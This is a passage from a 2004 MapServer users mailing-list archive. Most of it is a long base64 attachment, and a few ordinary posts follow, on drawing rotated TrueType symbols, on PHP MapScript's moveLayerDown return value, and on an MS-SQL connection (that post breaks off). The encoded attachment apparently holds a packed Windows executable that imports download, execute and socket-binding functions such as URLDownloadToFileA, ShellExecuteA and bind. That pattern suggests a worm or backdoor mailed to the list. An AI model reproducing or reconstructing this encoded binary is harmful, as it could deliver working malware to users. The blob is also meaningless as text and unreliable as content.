ZNr+/3cHQW7r8cnDVYvsV/91CF/rCEf2CIDtbv+XswU7fQx181/JwghCa09HABD7IN+PQUAo aJOoDnCBBXFQHm7t/2UAAOmV/u//zP8l7GAPBShhGRkZeSQgHBgZGRkZFBAMCPIcGRkEAPxg +DIyMjL08OjkMjIyMuCcVFgyMjIyXGBkaDIyMjJscHR4OTYyMnyAhL+IYJ7P5/OMYJBglGCY YCz5fD5HoGCkYKhgrGDIyMjzsGC0uLzIyMjIwMTIzMnIyMjQ1NjcfD6f32GJcGFsYWhhZGHI 2OT5qGGkBZzIyMjItJSQjMjIyMiYsLisyMjIyLw4NEDhyMjIRFBITGHZZGRk5HiEfIAyMjLC lxQQCOQ7YTIM2WAFIGRkZGQkKCwwZGRkZDQ4PEBhZmRkREhMAAIkVEEimqmi+h3D/vbfPhAE jE/Lw8/UAcvPzNTI+gBt////qbW8rq27qL+mrpOXn/qeiIyenpaW1J+CC6bZ//+BDLWvrqq1 qa7Uv6K/+rS3u7O0Cf7/3/61qK61tKUNrr+otL+upam/ua+lydTKpc7Kzd++bc8gqrwKpWCl w8KlJKW3v6Vrt23YyLEYDKkvtL05EPnPbgeotUW5rgypubK/vsnIdmtnP66svrcJrKgYy8wM tfb/NrE4s7XXraiq187Iy9dICr257oOUsbO2tky5Xl+ur6q3mTu2L8sXtr4VCRy7tifkD3Ov DLG+ta20yMp9LDZrABBCCrm2v7sj/D+2pbkLu6yKiJWOn5mOw4IeudjCWfu3vai+sx4otxPK peRk7Ta558OiTQy0rg/7NpusBmy4y8LLC66+z27t2a23pLO5vnmqtKW+vwuDtYW8pa78DKqO oy8b1mYKUgepvqhCYVZwK9iNGVOfObZyv5+yAb+iq68cWMAKTBglrL+d3ZJnqr4Xohaus6yz qC3Yh/Cvqde5Ory7qQgXsDArtL9ydgxErTicNYLMHhGqnFkLttAGsLsioAeSsM3aqWJpz7WE 5MDe/hXPycpbuKO4EK1g24Mlo724t+GvCmXdYI2ig73cvgnWyhG2Wr3esruFBIZ9CY06LLKu th0rNE7Ytr96u+F5CnZ4WwA1qK+cNMPkZO+7voIMtK79QrJDsAm/I8x2MgoDs8tgs6qfjC1M tjGoIKlqsDMUZq3VE8iCBGHGbFgNDOcDw0yldrazC19EEBuTlrmq2RAiGdcuaUlLIMkhOrbt 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAAWQO10dQqaXeMF5uAldFZghoaM8U6mnQT9aw5p7EGVgF6iocQVv XgsOCrxhB5CPli+QjBhMTk2PwCSjlKxtDxxeTg0ZBK6yDHJuwLIcj7NegRFVk6yucqwrMa2g BY+Xm0smc2zFPxc5UWEliC4fiXwFmZM4lIe3XQu3RBmeWXJTTpMreFFbi7QoCBY0ElYap4UC GkKbCKWpsWGkwJEvADO0bEV4Q3ABdYvGEMEFcQtXp5o0lBVcUn8DsHq4a7gRlH27Pz0XcLhx NbmfHEeTpmKQqo5lIUZYmqwXbWRTgawirVR/SkhJwJCxxqJskikucHg3JhBeqTeFuxmVoIGt xpWMbToygrN9kbXGralhZXZtinCNJ7AAprYYHYs7mqd6nLdgHaxtEIMYex1VJbpcThx+fCci wna+xiYnhRNzIJAdpBxlZAsJW6YJVHGVlRgbDL0haktzlkwCwxlQj0RObMOrqjxNdH0QBk2U x8OPckucjwp7aEB0nguln6mYPH6ne385hpKUjypbu4Nraj+CsB5/hywtshl9l7nHrn6kGxVo hjSutVCSgiALlmh5Q040Ti+qBY6Lg41/YDpMlFRswUnBX8c1P5Qxgl2MsGssJMS6r3OzUy+E oZw5T1E8tQ5yNXSXFm8WhRW0trWxVr2sGryabBOTjhYPfiiMlIG9ertFdLJ0JWYCakuhk4o4 hVKDFDagKL4hIW5OQIwjjYoqVxAxoSO0JIC8KqRKWpioICWShr4yqFw/JMJ+wkm+dExAjEU0 qEyUVAgXZRk+dZEAsIllaYFbT3MCDDM+Wwh9rogEaitBVsMvfYICxSAzCX0aNmK0h5ViN2Zv j0gltFGuiWBvmzaxX5QJPa25xUVJx7xCfolQiFdVRLw2c28EIz4yjLC5FhAzIWCyKDC4YRUB Cg6mZZ+0oYaaZRgqBziAGwK3Q2w+GqXGWF5zl72wxUZrpFcYL3kDV3lEQVEllqgYw6+dRa4c k5uvr6+LBnzCUGqhMzeJw0+TW31xtT57OBo7pXGtVw2wE2VabFxIZxyxD75znWS9KZl8kz8o IJ8PxHIBG0w9ABACbqG6Si2PZygJoQqgA1Ggl0ODDL6vjXuyvTZsj3wTBnR5I3UzmJI7lSkM Sq4QbcUUMDuzkCwEtquttaplF0utry9muJO0N5gQXUOiIj2YYWFsnJszEAIPnT4Zw2NvuCSn HJtVjnk8QgMmXCtHpZchb5OBkHoTUgyaU4YbYJE4vsFYawOZgZaIpGNlGCYKIFkAs002RxsN cre1B7YjG7CQnQqFarCjo2q5MlB3ijuafVZ0xhB7HxZuuQiQxJgbGUKsSqEPxjOAiK4hp4+Z oceUjapouVtwkyMiwBwpDjPETBA4V1k2VTWeZ5l3gA0NrSCRnbB9t7lvAWdYHbhNgSmVw8M/ gpeH ----------nxzscyalqugctxcujlkv-- From leo.olivieri at tin.it Mon May 10 06:22:14 2004 From: leo.olivieri at tin.it (leo.olivieri at tin.it) Date: Mon, 10 May 2004 15:22:14 +0200 Subject: [Mapserver-users] Symbols Message-ID: <4087DF430001D9B7@ims3c.cp.tin.it> Hello list, I have the problem with symbol. I have the shapefile as SIMBOLI_ SIMBOLI_ID DXF_ANGLE DXF_ATTRIB DXF_IID SIMBOLO 1 242 271,438 CEDIGLIA 1 18 2 243 272,996 CEDIGLIA 2 18 48 291 325,861 TERMINE 48 2 where the simbolo is draw as the simbol in acadastral.tff (TRUETYPe) Is it possible to draw the symbol with angle used in DXF_ANGLE. What? I use PHPMapscript Thanks in advance Leo From assefa at dmsolutions.ca Mon May 10 06:27:46 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 10 May 2004 09:27:46 -0400 Subject: [Mapserver-users] php mapscript - movelayerdown is always true? In-Reply-To: <200405101122.i4ABMdFS029986@lists.gis.umn.edu> References: <200405101122.i4ABMdFS029986@lists.gis.umn.edu> Message-ID: <409F8352.5000005@dmsolutions.ca> I will do the changes for the next release. Marcel Koopman wrote: > Hello, > > It seems that movelayerdown always returns 1. Is this a bug? And if so, is it fixed in recent mapserver? (>4.2beta1) > > echo $this->$map->moveLayerDown($i); > This always gives 1, i expected it to return 0 when a layer is already at the bottom (no more downs possible). > > Thanks. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From gayathri at ou.edu Mon May 10 06:33:01 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Mon, 10 May 2004 08:33:01 -0500 Subject: [Mapserver-users] Data Connection with MS-SQL database Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B60E@XMAIL1.sooner.net.ou.edu> Jenu: I am not sure you have trouble figuring something similar to the scenario below, but here goes it, 